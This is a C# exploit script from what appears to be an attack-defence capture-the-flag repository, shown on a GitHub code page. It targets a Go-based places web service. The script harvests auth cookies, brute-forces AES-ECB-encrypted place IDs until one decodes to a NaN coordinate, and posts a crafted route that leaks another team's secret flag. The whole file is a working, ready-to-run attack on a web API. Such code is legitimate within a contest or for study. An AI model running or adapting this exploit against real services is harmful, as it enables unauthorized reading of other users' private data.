-
Notifications
You must be signed in to change notification settings - Fork 4
/
Program.cs
160 lines (130 loc) · 7.93 KB
/
Program.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
using System.Net;
using System.Net.Http.Json;
using System.Text;
using System.Text.Json;
using System.Text.Json.Serialization;
using System.Text.RegularExpressions;
var baseUri = new Uri(args[0]);
var jsonOptions = new JsonSerializerOptions
{
PropertyNamingPolicy = JsonNamingPolicy.CamelCase,
DefaultIgnoreCondition = JsonIgnoreCondition.WhenWritingNull
};
State state;
HttpClient cookieClient;
CookieContainer cookies;
// Using state for NaN places and other stuff, so no need to brute force values each round
await using var stateStream = new FileStream("state.json", FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.Read);
if(stateStream.Length > 0)
state = (await JsonSerializer.DeserializeAsync<State>(stateStream, jsonOptions))!;
else
{
await ColoredWriteLineAsync(Console.Error, "Brute force some points to find first/last ordered AES-ECB-encrypted UUID values...");
var noCookieClient = new HttpClient(new HttpClientHandler { UseCookies = false }) { BaseAddress = baseUri };
var cookieRegex = new Regex(@"\bauth=[^;\s]*", RegexOptions.Compiled | RegexOptions.IgnoreCase | RegexOptions.CultureInvariant);
var values = await Enumerable.Range(0, 100)
.ToAsyncEnumerable()
.Select(async _ =>
{
using var resp = (await noCookieClient.SendAsync(new HttpRequestMessage(HttpMethod.Get, "/api/auth?lat=0.0&long=0.0"))).EnsureSuccessStatusCode();
if(!resp.Headers.TryGetValues("Set-Cookie", out var cks))
throw new Exception("'auth' cookie not found");
var match = cks.Select(cookie => cookieRegex.Match(cookie)).FirstOrDefault(match => match.Success);
if(match == null)
throw new Exception("'auth' cookie not found");
return (Id: await resp.Content.ReadAsStringAsync(), Cookie: match.Value);
})
.ToDictionaryAwaitAsync(async task => (await task).Id, async task => (await task).Cookie);
var min = values.MinBy(pair => pair.Key, StringComparer.Ordinal);
var max = values.MaxBy(pair => pair.Key, StringComparer.Ordinal);
await ColoredWriteLineAsync(Console.Error, " Last Point: " + max.Key, ConsoleColor.White);
await ColoredWriteLineAsync(Console.Error, " Last Point Cookie: " + max.Value, ConsoleColor.Magenta);
cookies = new CookieContainer();
cookies.SetCookies(baseUri, min.Value);
cookieClient = new HttpClient(new HttpClientHandler { UseCookies = true, CookieContainer = cookies }) { BaseAddress = baseUri };
// Add positive zero point
var p1PositiveZero = await PutAndReadStringAsync(cookieClient, new Place(0.1337, 0.0, "pwn", "pwn"));
await ColoredWriteLineAsync(Console.Error, " Positive zero [1]: " + p1PositiveZero, ConsoleColor.White);
// Add negative zero point with the same other coord
var p2NegativeZero = await PutAndReadStringAsync(cookieClient, new Place(0.1337, -0.0, "pwn", "pwn"));
await ColoredWriteLineAsync(Console.Error, " Negative zero [2]: " + p2NegativeZero, ConsoleColor.White);
cookies = new CookieContainer();
cookies.SetCookies(baseUri, max.Value);
cookieClient = new HttpClient(new HttpClientHandler {UseCookies = true, CookieContainer = cookies}) {BaseAddress = baseUri};
await ColoredWriteLineAsync(Console.Error, "Brute force NaN points...");
// Add some random point to start brute force from
var point = await PutAndReadStringAsync(cookieClient, new Place(0.1337, 0.1337, "pwn", "pwn"));
var (p5NanPoint, p4SomeOwnedPoint) = await BruteForceNanValueAsync(cookieClient, point);
// Update non-existent random owned point in order to save it to the database
p4SomeOwnedPoint = await PutAndReadStringAsync(cookieClient, new PlaceInfoOnly("pwn", "pwn"), p4SomeOwnedPoint);
await ColoredWriteLineAsync(Console.Error, " Random point [4]: " + p4SomeOwnedPoint, ConsoleColor.White);
// Update non-existent NaN point in order to save it to the database
p5NanPoint = await PutAndReadStringAsync(cookieClient, new PlaceInfoOnly("pwn", "pwn"), p5NanPoint);
await ColoredWriteLineAsync(Console.Error, " NaN point [5]: " + p5NanPoint, ConsoleColor.White);
var p6NanPoint = p5NanPoint;
await ColoredWriteLineAsync(Console.Error, "Same NaN point [6]: " + p6NanPoint, ConsoleColor.White);
state = new State(max.Value, p1PositiveZero, p2NegativeZero, p4SomeOwnedPoint, p5NanPoint);
await JsonSerializer.SerializeAsync(stateStream, state, jsonOptions);
}
var p3FlagPoint = args[1];
await ColoredWriteLineAsync(Console.Error, " Flag point [3]: " + p3FlagPoint, ConsoleColor.White);
cookies = new CookieContainer();
cookies.SetCookies(baseUri, state.Cookie);
cookieClient = new HttpClient(new HttpClientHandler {UseCookies = true, CookieContainer = cookies}) {BaseAddress = baseUri};
var route = new[] { state.PositiveZero, state.NegativeZero, p3FlagPoint, state.RndBeforeNan, state.Nan, state.Nan };
using var response = (await cookieClient.PostAsJsonAsync("/api/route", route, jsonOptions)).EnsureSuccessStatusCode();
await using var stream = response.Content.ReadAsStream();
using var reader = new StreamReader(stream, Encoding.UTF8);
var flagRegex = new Regex(@"^TEAM\d{1,3}_[0-9A-Z]{32}$", RegexOptions.Compiled | RegexOptions.CultureInvariant);
var flagPlace = await ReadLinesAsync(reader)
.Where(line => line != string.Empty)
.Select(line => JsonSerializer.Deserialize<Place>(line, jsonOptions))
.FirstOrDefaultAwaitAsync(place => ValueTask.FromResult(!string.IsNullOrEmpty(place?.Secret) && flagRegex.IsMatch(place.Secret)));
if(flagPlace == null)
throw new Exception("SERVICE NOT PWNABLE :(");
await ColoredWriteLineAsync(Console.Out, flagPlace.Secret ?? "n/a", ConsoleColor.Magenta);
return 0;
// IEEE-754: NaN values are encoded as 's111 1111 1111 1xxx ...' with 11 bits after sign-bit set to '1'
// So we have to brute force AES-ECB-encrypted 1024 values of IDs in average to get a point with NaN coord
// GoLang generates an error while serializing f64 NaN value, so expecting '500 Internal Server Error' here
async Task<(string nan, string valid)> BruteForceNanValueAsync(HttpClient client, string seed)
{
int count = 0;
var dict = await Enumerable.Range(0, 65536)
.ToAsyncEnumerable()
.Select(async idx =>
{
await Task.Delay(300); // Request limiting sleep
var p = seed.Substring(0, 60) + idx.ToString("x4");
using var resp = await client.GetAsync($"/api/get/place/{p}");
var c = Interlocked.Increment(ref count);
if(c % 100 == 0)
await Console.Error.WriteLineAsync(c.ToString());
return (Idx: idx, Point: p, Status: resp.StatusCode);
})
.TakeWhileAwait(async item => (await item).Idx == 0 || (await item).Status != HttpStatusCode.InternalServerError)
.ToDictionaryAwaitAsync(async item => (await item).Point, async item => (await item).Status);
if(dict.Count == 65536)
throw new Exception("SERVICE NOT PWNABLE :(");
var nan = seed.Substring(0, 60) + dict.Count.ToString("x4");
return (nan, dict.FirstOrDefault(item => StringComparer.Ordinal.Compare(item.Key, nan) < 0).Key);
}
async Task<string> PutAndReadStringAsync<T>(HttpClient client, T item, string? id = null)
{
using var resp = (await client.PutAsync("/api/put/place" + (id == null ? null : '/' + id), JsonContent.Create(item, options: jsonOptions))).EnsureSuccessStatusCode();
return await resp.Content.ReadAsStringAsync();
}
async IAsyncEnumerable<string> ReadLinesAsync(TextReader rdr)
{
while(await rdr.ReadLineAsync() is { } line)
yield return line;
}
async Task ColoredWriteLineAsync(TextWriter writer, string line, ConsoleColor color = ConsoleColor.Gray)
{
Console.ForegroundColor = color;
await writer.WriteLineAsync(line);
Console.ResetColor();
}
record State(string Cookie, string PositiveZero, string NegativeZero, string RndBeforeNan, string Nan);
record Place(double Lat, double Long, string? Public, string? Secret);
record PlaceInfoOnly(string? Public, string? Secret);